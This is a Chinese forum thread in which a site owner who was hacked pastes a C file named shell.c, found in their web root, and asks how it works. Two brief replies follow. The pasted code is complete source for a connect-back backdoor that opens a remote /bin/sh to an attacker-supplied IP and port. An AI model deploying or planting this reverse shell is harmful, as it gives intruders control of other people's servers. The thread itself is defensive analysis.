在根目录下,发现一个名为shell.c的文件,代码不是PHP也不是JS,像是C的吧。不知是什么时候被入侵了,幸好只是做暗链的,没做大破坏。有哪位懂的人说说这文件是怎么运作的#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <unistd.h>
#include <fcntl.h>
#include <netinet/in.h>
#include <netdb.h>void usage();
char shell[]="/bin/sh";
char message[]="s8s8 welcome\n";
int sock;
int main(int argc, char *argv[]) {
if(argc <3){
usage(argv[0]);
}struct sockaddr_in server;
if((sock = socket(AF_INET, SOCK_STREAM, 0)) == -1) {
printf("Couldn't make socket!\n"); exit(-1);
}server.sin_family = AF_INET;
server.sin_port = htons(atoi(argv[2]));
server.sin_addr.s_addr = inet_addr(argv[1]);if(connect(sock, (struct sockaddr *)&server, sizeof(struct sockaddr)) == -1) {
printf("Could not connect to remote shell!\n");
exit(-1);
}
send(sock, message, sizeof(message), 0);
dup2(sock, 0);
dup2(sock, 1);
dup2(sock, 2);
execl(shell,"/bin/sh",(char *)0);
close(sock);
return 1;
}void usage(char *prog[]) {
   printf("\t\ts8s8 connect back door\n\n");
printf("\t [email protected]\n\n");
printf("Usage: %s <reflect ip> <port>\n", prog);
exit(-1);
}

解决方案 »

  1.   

    好久不用C,好像是远程连接...
    不过象是client端的代码,他登到你的机器上连别的机子?
    再说这个是源码, 你要找他有没有放编译后的文件....
      

  2.   

    http://baike.baidu.com/view/2355183.htm?fr=ala0_1
    你就当学习罗,主要从查函数入手,如上面的就是你代码里的一个函数解释。在百度里搜索你上面代码你认为是函数的字符。